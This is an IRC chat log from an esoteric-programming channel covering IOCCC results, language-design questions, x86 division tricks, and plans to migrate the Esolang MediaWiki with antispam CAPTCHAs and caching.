02:11:36 <elliott> Yes, I personally plan to use my database access to give myself the biggest powers, and then delete every brainfuck derivative and put goatse on the main page.
02:11:56 <elliott> That would be productive and you would all be completely powerless to do anything, 'cuz domains can't be pointed elsewhere more than once.
02:12:01 <Gregor> So, on the whole an improvement.
02:12:09 <oerjan> i see, so Phantom_Hoover is involved, right?
02:12:19 <elliott> No, he's handling the murder. That's ancillary.
02:12:46 <elliott> Gregor: (Also if people know I plan to do it I'm less likely to procrastinate not doing it, which is what I spent today doing.)
02:15:30 <elliott> Relatedly -- does anyone have any experience with the Varnish cache?
02:15:47 <elliott> And/or reasons to use other caches
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02:17:12 <Gregor> But I can't /nick Applejack here.
02:17:16 <Gregor> I'M SO EXPOSED AND DEPONIFIED
02:17:23 <ColonelJ> or you could like not use Apache
02:17:39 <elliott> ColonelJ: When did I say I was using Apache?
02:17:39 <tswett> Fine. Join #esoteric on Sine. }:P
02:17:55 <ColonelJ> I just assumed that if you actually needed a cache then you were using apache
02:18:09 <elliott> ColonelJ: You've clearly never run MediaWiki.
02:18:25 <elliott> It eats up every resource it's given to serve the minimum amount of people it possibly can.
02:19:10 <Gregor> Sort of like Trac, then.
02:19:32 <elliott> Gregor: Yes, but the end result is more useful.
02:21:46 <elliott> Oh, hmm, it looks like nginx might support caching directly.
02:21:54 <elliott> That would be less painful than setting up an external cach...ier.
02:22:01 <ColonelJ> "As you can see from these test, if you are working with Nginx serving static files, it gives you no advantage to put Varnish in front of it" source: http://www.go2linux.org/linux/2011/04/nginx-varnish-compared-nginx-941
02:22:31 <elliott> ColonelJ: That's nice. Where's your source for "MediaWiki is based on serving static files"?
02:22:53 <ColonelJ> but that was just to illustrate one point at least
02:23:13 <ColonelJ> if it's set up wrong it may well perform even worse
02:23:35 <elliott> It's a bit ridiculous to cache static files anyway.
02:23:47 <elliott> The kernel will keep them in memory.
02:26:01 <tswett> I wonder what you call this sort of music: http://homestuck.bandcamp.com/track/homestuck-anthem
02:26:04 <tswett> Don't say "electronic".
02:26:29 <elliott> Anyhow, that's all, methinks.
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02:27:04 <tswett> It's... you know, that one electronic genre that sounds like a ping-pong game at the beginning, and then transitions into piano and violin and bass.
02:27:56 <tswett> Perhaps. It's not very unobtrusive, though, I think.
02:30:03 <ColonelJ> like just a random one from google/youtube http://www.youtube.com/watch?v=kPmmHWSZwEA
02:30:09 <ColonelJ> get the piano coming in after a minute
02:31:14 <tswett> Yeah, I guess the intros are definitely the same style.
02:33:41 <tswett> "White" from the same album may also qualify as ambient.
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03:10:00 <quintopia> tswett: i'm going with experimental industrial ambient
03:11:25 <quintopia> is that hubble deep field in the background
03:11:55 <quintopia> also: approximately how many weeks should i take off work if i want to go through all of homestuck in a single session?
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03:34:07 <Gregor> OK, I seriously use ctrl+W when I mean ctrl+Q an embarrassing amount of the time.
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03:57:58 <zzo38> Here it is: http://sprunge.us/FfJA It is called "Hampp" it is short for "Haskell macro preprocessor"
03:58:44 <zzo38> Tell me I'm wrong.
04:09:59 <monqy> it's actually called hamapp
04:15:10 <zzo38> O, I didn't know that.
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04:33:07 <zzo38> Now you can please tell me in case something should be add/remove/whatever, or comment/question/complain, or something else.
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06:51:55 <zzo38> Do you know, what file formats you suggest, I could make Hampp load, additionally? And any other idea of built-in macros or other features? One idea I have is 8data which creates datatype declarations from other things, although I am unsure exactly how it would do.
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07:08:08 <oklopol> "<Gregor> (Apparently "dastard" is a word, at least according to my spell checker. I have no idea what it means, and it's probably not a noun)" americans -__-
07:09:01 <monqy> backformation of dastardly? or is dastardly derived from dastard help
07:10:52 <oklopol> also yaaay elliott was back
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07:32:34 <Jafet> My spell checker once corrected "benzodiazepines" to "sleeplessness"
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09:02:22 <Sgeo> http://www.wolframalpha.com/input/?i=10%2F0
09:02:35 <Sgeo> You know, the things I wish I knew of in grade school
09:04:10 <Sgeo> My "number circle" seems less impressive now.
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09:45:18 <Sgeo> kallisti, Phantom_Hoover update
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10:09:55 <kallisti> http://www.wolframalpha.com/input/?i=brandon+jacobs+rushing+yards+in+lightyears
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10:28:33 <kallisti> aw, wolfram alpha has 2D graphs of functions but not 3D :(
10:29:30 <Jafet> You need a 3D screen first
10:30:32 <fizzie> kallisti: http://www.wolframalpha.com/input/?i=Plot3D[Sin[x%2By^2]%2C+{x%2C-3%2C3}%2C+{y%2C-2%2C2}]
10:30:55 <fizzie> (Possibly it's writable in some less Mathematicaey way.)
10:32:48 <kallisti> http://www.wolframalpha.com/input/?i=left-compressed+evolution+of+Wolfram+2%2C3
10:33:33 <kallisti> things like a^2 + b^2 show a plot
10:33:51 <fizzie> Yes, I guess it guesses.
10:34:43 <kallisti> also multi-dimensional sine things looks cool.
10:35:13 <kallisti> ah you can just say "plot <equation>"
10:35:30 <ais523> gah, I just deleted 3 recent-pages-screenfuls worth of spam
10:35:38 <ais523> and I'd only been away for 17 hours or so
10:36:18 <Jafet> Bayesian mass guessing
10:36:39 <kallisti> train it for a few days by marking changes manually
10:40:10 <Jafet> Require posters to prove or disprove that a randomly given esoteric language is Turing-equivalent
10:40:45 <Jafet> It's like recaptcha, except it's also a Turing test
10:40:51 <fizzie> Aw, it input-interpretates http://www.wolframalpha.com/input/?i=RegionPlot3D[x^2+%2B+y^2+%2B+z^2+%3C+1+%26%26+x^2+%2B+y^2+%3C+x^2%2C+{x%2C+-1%2C+1}%2C+{y%2C+-1%2C+1}%2C+{z%2C+-1%2C+1}] right but can't produce an image.
10:42:04 <fizzie> Ooh, I'm on level III in our room-booking system.
10:42:56 <fizzie> Also many RegionPlot3D[]s it just ignores and says something about the equation inside instead.
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15:21:36 <Gregor> YESSSSSSSSSSSSSSSSSSSSSSS
15:21:40 <Gregor> YESSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
15:27:24 <cheater> YESSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
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15:34:10 <Gregor> cheater: I'm so glad you agree with my celebration!
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15:39:53 <fizzie> NOOOOOOOOOOOOOOOOOOOO.
15:40:02 <fizzie> (Equal time and all that.)
15:45:32 <Gregor> http://ioccc.org/2011/whowon.html :)
15:48:19 <fizzie> Contrugalattices, then.
15:48:59 <Gregor> My goal was for them to invent a category.
15:52:28 <Gregor> Hm, apparently I read the word "Contrugalattices" as "Congratulations" without even a second glance.
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16:00:42 <Gregor> Also, is "Daniel Vik - Tracker player" a coincidence, or a name in this channel?
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16:09:19 * Sgeo blinks at suprisingly portable
16:10:01 <Sgeo> And apparently I can't spell a word even if I've just seen it.
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17:05:13 <ais523> Gregor: I'm glad I inspired you into doing this, even if I didn't win myself
17:05:29 <ais523> also, shinh is on there
17:11:11 <Gregor> ais523: Sorry you didn't win :( :( but that's actually wildly insufficient to diminish my current ear-to-ear grin 8-D
17:11:33 <ais523> I'm just not good enough at C to really do well at the IOCCC
17:11:56 <ais523> I get the feeling that there's a relatively small number of entries, though, just from the fact that submissions closed in January and we have the winners already in February
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17:13:02 <ais523> I guess the easiest way to win is a crazily golfed game full of graphics and sound
17:13:10 <ais523> even if it isn't particularly obfuscated
17:15:56 <ais523> cheater: no, not easy to do a df clone within the size limit
17:16:16 <itidus20> i hope to have a small TTL on this question :->
17:17:30 <ais523> not specifically because they request golfing, but because they have a relatively small maximum size limit
17:17:30 <itidus20> ok i found it in google by typing golfed esolang
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19:47:48 <oerjan> so wolfram alpha wants to tell me about the next big step in computational knowledge, coming soon.
19:47:51 <oerjan> TOO BAD THEY MADE THE FATAL CHOICE OF TRYING TO OPEN A NEW WINDOW
19:48:04 <oerjan> now i shall never look at it.
19:51:46 <fizzie> They don't actually tell anything there either.
19:52:08 <fizzie> It was all "we don't want to reveal the details, but it's going to be amazing".
19:52:22 <ais523> fizzie: this would be worrying coming from many people
19:52:28 <ais523> from the Wolfram people, it's more likely banal
19:52:58 <fizzie> You get to personalize the experience on a whole new level, made possible by their computational knowledge methods and whatnots.
19:53:07 <fizzie> Also I think a dialogue was mentioned.
19:53:16 <oerjan> Gregor: congratulations!
19:54:24 <fizzie> "We’re not going to let you know the details just yet, but what you’re going to find is a dramatic enhancement of functionality. You’ll be able to personalize your interaction with Wolfram|Alpha in ways that only our combination of algorithms, presentation tools, and data representation could make possible."
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20:00:52 -!- oerjan has set topic: /fnord/Home of N>=1 IOCCC Winners! | Friendship Is Magic: The Gathering | elliott sacked as bearer of Element of Loyalty, seeking pegasus replacement | http:\\\/\\\/codu.org\\\/logs\\\/_esoteric\\\/ | Now slightly on-topic | Now failing to construct an esolang in THE. WORST. POSSIBLE. WAY./fnord.
20:01:10 <oerjan> i'm not entirely sure what N is at this point
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20:02:28 <oerjan> i guess most likely 1, if only because it's so long since the last one
20:02:53 <oerjan> but i may be forgetting someone i should remember
20:04:54 <kallisti> ..."most devolving" okay they're just making up arbitrary superlatives now.
20:06:02 <Gregor> I do quite enjoy the category they invented for me 8-D
20:06:12 <Gregor> Because it makes no sense for any other program.
20:06:45 <Gregor> I do quite want to know what that means.
20:07:00 <zzo38> Shinichiro Hamaji entered as well; I didn't know that before. And it seems like they changed the categories entirely this year.
20:07:13 <Gregor> zzo38: The categories change every time.
20:07:16 <oerjan> someone should have run a spellchecker over that page.
20:07:24 <zzo38> Why is there two Paint by number puzzle?
20:07:25 <Gregor> zzo38: They reuse, but they invent categories per-competition.
20:07:33 * kallisti wonders how difficult it is to actually win IOCCC
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20:09:38 <oerjan> also there seems to be something resembling a duplicate
20:10:18 <Gregor> oerjan: Yeah, I'm curious about that too, but I guess we'll just have to wait and see what it means.
20:10:19 <oerjan> zzo38: and both from Japan, could be a duplicate
20:11:01 <oerjan> best non-chess game - but no chess games anywhere else :P
20:11:16 <kallisti> I'm guessing they got a lot of chess game entries.
20:11:23 <oerjan> unless it's in one of those 3 embedded programs for the best of show
20:12:13 * kallisti submits an obfuscated C portal chess implementation for IOCCC 21
20:12:49 <ais523> perhaps it was a co-submitted entry
20:12:50 <Gregor> So who was talking about making a MIDI and/or Tracker player for this IOCCC (other than elliott and me, since I stole the idea and then didn't follow thru)
20:13:38 <Gregor> ais523: You'd think they could format it less ridiculously then ...
20:14:13 <kallisti> !perl $_="blah";s'blah'\r\n';print
20:14:14 <ais523> Gregor: it wouldn't surprise me if they're trying to wind people up
20:14:30 <ais523> kallisti: testing quoting rules of s'''?
20:14:31 <oerjan> well we know ais523's name, so he wasn't one of the winners
20:14:36 <ais523> I wasn't, I already said as much
20:14:49 <kallisti> ais523: it's been about a month since I've looked at perl. I occasionally forget small details. :P
20:15:06 <oerjan> ais523: ok, i haven't finished logreading yet
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20:17:06 <fizzie> LandGregor, to distinguish from the SkyGregor and the SeaGregor.
20:17:22 <oerjan> i was more expecting OrGregor and XorGregor
20:19:57 <oerjan> well it may not have been mentioned
20:21:13 <HackEgo> 2011-10-26.txt:15:51:37: <ais523> here's a GolfScript factorial program, that factorials every line of input (treating it as a number): http://golf.shinh.org/reveal.rb?Factorial/narb_1298033052&gs
20:21:37 <oerjan> oh it's the maintainer of that site?
20:21:45 <oerjan> (also ICFP winner, i saw)
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20:24:15 <fizzie> \land is IIRC LaTeX for the /\.
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20:24:45 <fizzie> In related news, "latex land" is a google search for which some of the hits... are not about LaTeX.
20:25:24 <oerjan> but _may_ be relevant to rule 34.
20:28:35 <fizzie> Random gripe time: they don't stick X servers in the lecture room Windows workstations. :/
20:28:56 <fizzie> (They do put a commercial SSH client in, though.)
20:34:58 <oerjan> fizzie: two version replies?
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20:39:17 <Physis> someona can read my future?
20:40:27 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
20:41:07 <Physis> I know only C++ an C# btw
20:41:39 <ais523> yep, this is probably the wrong channel for you
20:41:50 <ais523> it took a while to figure out where the right one was (several years), but we're happy to send people there now
20:42:44 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
20:42:53 <oerjan> just in case you like this stuff too :)
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20:58:21 <Gregor> <fizzie> Random gripe time: they don't stick X servers in the lecture room Windows workstations. :/ // what a ... shock?
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21:25:59 <fizzie> Gregor: But they have a site-wide license to one X server and all, and they used to put it in.
21:26:18 <fizzie> (I'm supposed to show some MATLAB stuffs tomorrow.)
21:27:27 <Gregor> ais523, oerjan: Upon further observation, the two "paint by number puzzle" entries are almost certainly a coventure, as the site says there are 14 winners but this list has 15 entries.
21:36:26 <lambdabot> forall a. (a -> a -> Bool) -> [a] -> [a] -> [a]
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21:37:22 <lambdabot> Data.List unionBy :: (a -> a -> Bool) -> [a] -> [a] -> [a]
21:42:51 <olsner> there are 14 winners but this list has 15 entries => one of them is the loser
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23:55:07 <Sgeo> kallisti, Phantom of the Update
00:17:30 <oerjan> russian scientists reach lake vostok
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01:39:39 <Sgeo> Gregor, congratulations. What is unexpected portability?
01:40:10 <Gregor> You'll just have to wait and seeeeeee 8-D
01:40:14 <oerjan> it accidentally runs just fine on a Harvard MARK
01:41:02 <Gregor> oerjan: Something tells me there's no C compiler for it :)
01:41:18 <oerjan> that's why it's so unexpected
01:42:28 <pikhq> Sgeo: It's a JIT. If it runs on more than one CPU and fits in their size requirements, it's unexpectedly portable.
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01:58:20 <lifthrasiir> Gregor: congrats! is there any code (or hint.txt) available?
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01:58:52 <oerjan> we need that pegasus replacement soon, it's too quiet here
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02:08:53 <Gregor> lifthrasiir: There will be when IOCCC posts it.
02:09:01 <Gregor> lifthrasiir: I've decided to heed their request not to release 'til they do.
02:09:25 <Gregor> oerjan: I would /nick RainbowDash or even /nick Fluttershy or especially /nick DerpyHooves but they're all owned :(
02:09:54 <lifthrasiir> (i was never an IOCCC winner so i didn't know about that)
02:10:15 <Gregor> lifthrasiir: Apparently the delay is to allow people to fix last-minute bugs etc.
02:10:18 <Gregor> Which is good 'cuz I've got one 8-D
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02:16:51 <Flim> I finally found an unowned pony name.
02:16:56 <Flim> Too bad it's a terrible one.
02:18:53 <Flim> Flim is kind of a dick.
02:19:06 <Flim> Also him and his "brother" Flam are only brothers in the biblical sense, if you understand my meaning.
02:19:33 <Flim> That's probably for the best X-D
02:24:57 <Flim> fungot: OH GOD NO
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03:34:40 <zzo38> I invented a shogi variant called "Shogi of the Central Madness". Each player picks up one card, and you are not allowed to look at your opponent's cards. You can use the cards/dice if you have a piece in the center square of the board.
03:35:22 <zzo38> http://www.chessvariants.org/index/msdisplay.php?itemid=MSshogiofthecent
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03:44:38 <evincar> Evening all. Or whatever time you are.
03:46:20 <monqy> I haven't kept track
03:46:22 <oerjan> aeons ago, evincar roamed these lands.
03:46:48 <monqy> were those aeons before or after elliott vanished
03:46:57 <evincar> He's been on StackExchange a lot?
03:47:29 <monqy> gotta keep that rep up, hm
03:47:41 <evincar> StackOverflow specifically. I see him in the Haskell tag quite a bit.
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03:52:13 <evincar> Speaking of SE, I've got a question that probably isn't suitable for there.
03:52:30 <monqy> is it a good question
03:53:53 <oerjan> sorry, without elliott we cannot answer subjective questions any longer.
03:54:39 <evincar> Anyway, in a language with concatenative and applicative expressions, should you keep argument order visually the same [a b c f]=(f a b c) or reverse one of them so partial application works right (f a b c)=[a b c f]?
03:55:12 <evincar> Latter should be (f a b c)=[c b a f].
03:56:21 <monqy> i'm going to have to reread that
03:56:41 <oerjan> having both sounds like a mess
03:56:43 <pikhq> I'm afraid elliott stole all opinionatedness out of us.
03:56:59 <oerjan> oh there is pikhq. but he only does politics.
03:57:30 <pikhq> Ah, right. I'm strongly opinionated about policy.
03:57:41 <evincar> oerjan: It is and it isn't. I like concatenative languages, but some things are way nicer to write in applicative style. Take math expressions.
03:58:10 <oerjan> you _could_ have a prefix concatenative language, couldn't you.
03:59:24 <evincar> It'd look like Lisp with less nesting.
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03:59:38 <monqy> maybe you can answer evincar's subjective question
04:00:22 <evincar> It boils down to whether things should look right or work right. :P
04:01:16 <evincar> I'll prolly just add a flip operator and be done with it.
04:01:21 <monqy> working wrong is kind of a problem
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04:03:19 <evincar> Yeah, when it's in those terms, it's kind of obvious. :/
04:11:27 <kallisti> monqy: yes I'm great at humans
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04:12:04 <kallisti> monqy: yes I'm great at humans
04:12:26 <evincar> kallisti: "In a language with concatenative and applicative expressions, should you keep argument order visually the same [a b c f]=(f a b c) or reverse one of them so partial application works right (f a b c)=[c b a f]?"
04:12:44 <evincar> In other words, working right or looking right.
04:12:45 <oerjan> great at humans, bad at networking
04:12:54 <evincar> But I'm pretty much past it.
04:13:47 <kallisti> evincar: I don't really understand the purpose of the reversal anyway.
04:14:00 <Jafet> [c b a f] is how a stack language evaluates f
04:14:21 <Jafet> And nearly every concatenative language is a stack language
04:14:38 <Jafet> (That is, their authors C B A.)
04:15:26 <evincar> It's the difference between having (map f list) correspond to [list f map] or [f list map].
04:15:30 <evincar> So yeah, I choose "working right".
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04:17:02 <Flim> This question seems so subjective it's meta-subjective.
04:17:18 <Flim> Also, this is EASILY the worst pony name so I'm abandoning it.
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04:18:44 <Gregor> (The original question, that is, not the specific example)
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04:31:43 <evincar> Is it possible to infer dependent types in general? I forget.
04:34:19 <evincar> It seems like no, because you could easily get nontermination if you had a type dependent on a function value.
04:34:57 <evincar> Then again, dependence on just base values is perfectly useful.
04:39:18 <Gregor> Yeah, I think you need a specific definition of "dependent types", since not all definitions of the term are decidable type systems, and inferring an undecidable type system is arguably a lost cause :)
04:41:22 <evincar> Although there are plenty of useful programs that have decidable types even if the system in general is undecidable.
04:41:39 <evincar> But yeah, "dependent type system" is a rather broad category of things.
04:42:07 <monqy> @ask elliott check your messages as elliott_
04:51:54 <evincar> Well, I must go. My people need me.
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04:55:11 <oerjan> and thus evincar roamed on, to quests unknown.
04:59:04 <zzo38> In this D&D game I took a pot from the kitchen, fill with rain water, climb onto the roof, find the chimney pot full of rain water too, and pour them all down the chimney, almost extinguishing a fire elemental who was hiding in the fireplace.
05:17:02 <zzo38> One of the players selected the maximum allowed age, weight, and height for her character.
05:23:46 <zzo38> It now has 57 pages in full mode, and 27 chapters, and 25 footnotes.
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07:11:16 <pikhq> https://www.youtube.com/watch?v=jfectchNtQM I think this is harder to understand than Japanese.
07:11:22 <pikhq> And it's nominally in English.
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08:56:24 <NihilistDandy> Or just someone better at it/more caffeinated than I am
09:00:05 <zzo38> How can you run a Haskell code in virtual machine?
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10:08:30 <itidus20> pikhq: i can follow 80% of the dialogue, perhaps due to the uk influences on australia
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13:48:38 -!- ais523 has set topic: Home of N>=1 IOCCC Winners! | http://codu.org/logs/_esoteric/ | There is nothing more fun to watch than experimenting with elephant toothpaste.
14:05:56 <fizzie> I see you've changed the topic to be written in one of those languages where just having a simple line of text with no frills will cause it to be output. (Sadly I can't recall any right now, but I'm sure I've seen a hello, world example that was just hello, world.)
14:06:47 <ais523> not sure which qualifies as more esoteric
14:06:57 <ais523> http://esolangs.org/wiki/Text
14:08:15 <fizzie> I think I recall a non-joke eso-example, but I might be wrong. It didn't have a PHP-esque escape sequence approach; it was one of those rewritingey things, I think.
14:08:44 <ais523> but the topic has slashes in already
14:09:10 <fizzie> I guess it could've been that I was thinking about, and right.
14:09:30 <ais523> also, the topic was in /// /before/ I changed it
14:12:36 <fizzie> It could be in Swap now. It doesn't have any \s or ~s.
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16:30:11 <tzxn3> the wiki really needs a captcha
16:31:34 <itidus20> after making an edit, a captcha isn't unreasonable
16:33:32 <tzxn3> for anonymous and non-autoconfirmed users, certainly...
16:36:33 <tzxn3> and on account creation
16:37:07 <ais523> tzxn3: the wiki /has/ a CAPTCHA
16:37:13 <ais523> it just isn't strong enough to defeat the spambots
16:37:30 <tzxn3> I wouldn't really say that's a captcha though
16:37:32 <ais523> and Graue is refusing to administer the wiki any more, even though he's the only person who can change it
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16:39:32 <tzxn3> well, the problem needs to be solved
16:40:13 <itidus20> could you guys roll your own captcha?
16:40:59 <itidus20> what about a brainfuck captcha?
16:41:36 <tzxn3> Graue seems to be the only bureaucrat and the only person with server access
16:41:56 <Gregor> Write a Brainfuck program to output the following string: «random text»
16:42:17 <tzxn3> that can easily be done algorithmically though
16:42:42 <tzxn3> bfdev has a tool specifically for that purpose
16:42:50 <Gregor> And soooo many spambots will use it.
16:43:02 <tzxn3> security through obscurity is never good practice
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16:43:21 <itidus20> its not really security its just aversion :D
16:43:44 <itidus20> well what i had in mind is if the captcha showed bf code
16:43:57 <itidus20> or.. it could be just a cipher
16:45:05 <itidus20> nevermind.. i can't outthink ioccc winners
16:46:40 <ais523> it shouldn't be massively difficult for a human
16:49:17 <Gregor> Yeah, my suggestion is actually a terrible idea, presented in jest X_X
16:49:55 <itidus20> the problem with these turing tests is that you can't write a perfect turing test as a computer program
16:51:12 <itidus20> it won't be all that long before peoples cams are just 3d rendered scenes of bedrooms and human models
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17:55:08 <zzo38> Do you know if there is way to run cross-platform sandboxed compiled Haskell codes in a virtual machine?
17:55:28 <coppro> "cross-platform compiled"?
17:55:37 <coppro> haskell compiles to native code
17:57:22 <zzo38> I know it compiles to native code. But is there some way to do it cross-platform and sandboxed? Possibly using an emulator, if that is necessary?
17:57:23 <ion> “Haskell” doesn’t specify anything about compilation. There are various implementations which compile to e.g. native code and JavaScript.
17:59:02 <zzo38> Yes, and I want to use GHC, probably.
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19:38:38 <zzo38> I think applicative laws imply that (pure mempty) and (liftA2 mappend) form a monoid. Together with the functor laws and parametricity, are any other laws needed?
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19:52:07 <ais523> hey everyone, usable Recent Changes!: http://esoteric.voxelperfect.net/w/index.php?title=Special%3ARecentchanges&namespace=-1&invert=1
19:52:14 <ais523> doesn't show deletions or blocks
19:53:07 <zzo38> O, that works. But why does that work?
19:53:30 <ais523> zzo38: -1 is the Special namespace
19:53:43 <ais523> which is what deletions and blocks are apparently recorded as in the recent changes table
20:25:08 <fizzie> MSVC has quite the clever-trick n/8 for a signed int n: mov eax, ecx; cdq; and edx, 7; add eax, edx; sar eax, 3; (This is with n in ecx, result in eax.)
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21:09:44 <fizzie> Taneb: error 48: cannot assign values to aggregates
21:11:08 <fizzie> (I just recently-ish got that, and thought I'd pass it on.)
21:13:55 <zzo38> fizzie: Do you know if anyone else has that clever-trick?
21:15:04 <fizzie> zzo38: I don't know. A version of GCC does instead lea eax, [rcx+7]; test ecx, ecx; cmovns eax, ecx; sar eax, 3; which accomplishes the same, but I think is less clever-tricky.
21:18:43 <fizzie> zzo38: Seems that my version of clang has a sort-of related trick: mov eax, edi; sar eax, 31; shr eax, 29; add eax, edi; sar eax, 3; That's also quite tricky.
21:19:25 <zzo38> Which way works best?
21:20:06 <fizzie> It might depend on the particular CPU. I haven't measured, and it might be that with different optimization flags the compilers would use different sort of tricks.
21:21:02 <fizzie> I suppose one could also try the hybrids that would either sar eax, 31; and eax, 7; or cdq; shr edx, 29; instead.
21:25:54 <zzo38> The existing Language.Haskell.Preprocessor.Printer.dump (in "preprocessor-tools" package) seem long and doesn't appear to work very well anyways, so I wrote my own code:
21:26:13 <zzo38> writeTokens :: Handle -> Loc -> [Token] -> IO (); writeTokens _ _ [] = pure (); writeTokens h l (x : t) = writeUpdateLoc h l (loc x) >> hPutStr h (val x) >> writeTokens h (advance (loc x) (val x)) t;
21:26:30 <Taneb> I've added Luigi to my webpage
21:26:48 <zzo38> writeUpdateLoc :: Handle -> Loc -> Loc -> IO (); writeUpdateLoc h x y | isBogus y = unless (isBogus x) $ hPutChar h '\n'; writeUpdateLoc h x y | (file x, line x) == (file y, line y) && col x <= col y = hPutStr h $ replicate (col y - col x) ' '; writeUpdateLoc h x y | (file x, line x + 1) == (file y, line y) = hPutStr h $ '\n' : replicate (col y - 1) ' '; writeUpdateLoc h x y = hPutStr h $ "\n# " ++ show (line y) ++ " " ++ show (file y) ++ "\n"
21:28:15 <zzo38> Is that package really considered that good if you have to make a lot of your own changes anyways?
21:53:36 <Taneb> I now consider my esolang page complete.
21:53:37 <Taneb> http://www.vandoorn.talktalk.net/esoteric/
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22:19:00 <oerjan> argh not combined sneezing and nose-bleeding!
22:23:41 <fizzie> You can make modern art!
22:23:57 <fizzie> Just put a canvas in front.
22:24:43 <oerjan> well the nose-bleeding seems to have stopped without getting really bad.
22:25:33 <fizzie> Gurgle some paint, then.
22:25:34 <oerjan> dammit if this is the flu, i should have bought more bread today.
22:26:15 <oerjan> having to go out to buy groceries when sick is no fun
22:26:37 <fizzie> You should have some bread-in-a-can for that. (I think there is such a thing.)
22:26:55 <fizzie> Sandwich-in-a-can, in fact.
22:27:02 <fizzie> It looked really unappetizing.
22:28:28 <oerjan> ok the sneezing may have stopped too.
22:30:41 <oerjan> <ais523> and Graue is refusing to administer the wiki any more, even though he's the only person who can change it
22:30:55 <oerjan> elliott came by claiming to be trying to take over
22:31:04 <ais523> I know, we've been discussing it in PM
22:31:17 <ais523> I'm not /entirely/ sure he'll survive contact with MediaWiki, though
22:31:36 <ais523> it's like kryptonite for programmers with good style
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22:39:26 <zzo38> If Graue is refusing to continue then Gregor (or someone else) should do so, because there is many problem with it so far we should need to add more things. More people can fix it at once, if you have a Hackiki service, for example.
22:41:43 <oerjan> i don't think converting it entirely into hackiki is in the plans...
22:41:49 <zzo38> One thing you could make, is to copy the TeX->picture program I have (it is PHP, so it will work with MediaWiki; and everything works with Hackiki) and make it cache the results. (There are other program but they fail at many things; I did it correctly secure yet highly functionable)
22:42:23 <oerjan> mediawiki has its own tex->picture plugin, doesn't it
22:42:38 <zzo38> oerjan: Yes it does, but it doesn't work very well.
22:43:03 <Gregor> elliott has volunteered.
22:43:56 <zzo38> This is my program http://zzo38computer.cjb.net/texify/texify.php?source=2 You will need to modify it to work on any computer other than my own.
22:44:31 <zzo38> You will also need to modify it to cache the results (possibly as files in the image gallery).
22:45:00 <zzo38> You also need the format file http://zzo38computer.cjb.net/texify/texify.php?source=3
22:46:17 <zzo38> (And there should be no problem having MediaWiki's standard one called <math> and then use this one as well with the name <tex> it probably will work OK)
22:48:02 <zzo38> It won't be secure if you use any extensions (such as pdfTeX, e-TeX, LaTeX, and so on); so only use the file called "tex" as the executable.
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22:48:59 <elliott> My sources tell me I'm being nattered about!
22:50:26 <fizzie> "QX", like they say in the Lensman series, to make it sound more futuristic than just saying "OK".
22:50:41 <fizzie> (For the longest time I thought that was just an OCR error in the etext.)
22:51:06 <zzo38> fizzie: Who told you it wasn't?
22:51:57 <elliott> I might as well give a status update since it came up: I'm currently (as in "tonight") setting up the latest MediaWiki in a test VM I set up yesterday to check that the DB import of Esolang's ancient MediaWiki version will work properly and to hash out antispam config.
22:51:58 <fizzie> I don't recall, but it's mentioned in Wikipedia's disambig page for QX.
22:52:41 <elliott> Assuming all goes well, it should be ready to present to Graue and that guy who owns esolangs.org in a day or two.
22:53:35 <zzo38> elliott: Then hopefully, you should be able to fix it. I did have other suggestions too
22:54:06 <zzo38> One is removing the "precondition is false" error.
22:54:29 <zzo38> Another is adding the Nostalgia skin (from Wikipedia).
22:54:35 <elliott> The "improvements" beyond antispam I'm planning are the latest MediaWiki version, getting rid of the silly <div>/<span> filter, a bunch of caching to speed things up, and better admin tools.
22:54:52 <elliott> Precondition is false sounds like mod_security, which is Apache rubbish I won't install, so no problems there.
22:55:14 <elliott> I think the Nostalgia skin ships with MediaWiki, so I'm surprised it's not on Esolang...
22:55:20 <oerjan> isn't that maybe what is used for that <div>/<span> filter?
22:55:44 <zzo38> Yes do get rid of silly <div>/<span> filter and of all filter, actually; sometimes any text might be needed entered. Maybe you could make the filter apply only to users who are not autoconfirmed, so autoconfirmed users can enter anything.
22:56:24 <zzo38> Will they be able to copy over the user database?
22:56:42 <elliott> The anti-spam I'm planning, apart from the admin tools that would basically eliminate the current spam with a single admin action, is just a CAPTCHA on every anonymous edit like we have currently, and a CAPTCHA on the registration page, which is what's currently letting all the spam in. I was just going to go with a trivial quiz-based CAPTCHA with esolang-specific questions, since there's no chance of a spambot getting around that.
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22:56:59 <elliott> zzo38: Yes. I think that the esolang wiki dumps are just raw SQL dumps, so I think they include the user database.
22:57:09 <elliott> (If they do, that means they include password hashes too... thankfully they're salted, IIRC.)
22:57:26 <elliott> If not, hopefully Graue will be unbusy enough to give a complete copy.
22:57:43 <elliott> I think images will have to be manually reuploaded, but there's not very many.
22:57:51 <zzo38> Yes, just a CAPTCHA for anonymous edits and registration should be OK, and no CAPTCHA for any autoconfirmed users.
22:59:32 <zzo38> Other idea is install some extensions, such as some data processing extensions, and the <math> extension, and my own <tex> extension (since many things fail with <math>)
23:00:12 <zzo38> And hopefully the literate Haskell program I have written on the esolang wiki, will continue to work.
23:00:19 <elliott> Which data processing extensions? (Or, what kind of thing do you mean in general.) I was considering setting <math> up, yes. Does <tex> just run TeX? That sounds like it could be bad on server load.
23:01:00 <zzo38> elliott: <tex> would run TeX with time limits, memory limits, and caching. You have to modify the program I have to do caching and make it work with MediaWiki in general.
23:01:28 <elliott> Ah. I'll consider it, but I don't really know anything about writing MediaWiki extensions.
23:01:43 <zzo38> (It also has its own format file, which is needed for security purposes; you cannot use standard format files)
23:02:35 <zzo38> Specifically, these two files: http://zzo38computer.cjb.net/texify/texify.php?source=2 http://zzo38computer.cjb.net/texify/texify.php?source=3 You can probably keep the format file exactly as is, but the PHP program certainly needs to be modified; as is, it doesn't cache and it won't even work on any computer other than my own
23:05:18 <zzo38> It also won't be secure if the TeX processing program is anything other than "tex" (or "initex" or "virtex"); do not use "latex", "pdftex", "etex", or whatever.
23:06:58 <zzo38> Actually due to various things, my program probably has less server load than <math> (as long as you do caching and time limits and memory limits correctly); although you should still install <math> as well since some things require it (such as compatibility with Wikipedia).
23:07:51 <oerjan> not using latex sounds like a possibly bad thing, although i'm not sure how much of short latex snippets don't work in plain tex
23:08:17 <fizzie> I was pointed at http://webdemo.visionobjects.com/equation.html?locale=default recently; it is like the fanciest, except of course when it isn't.
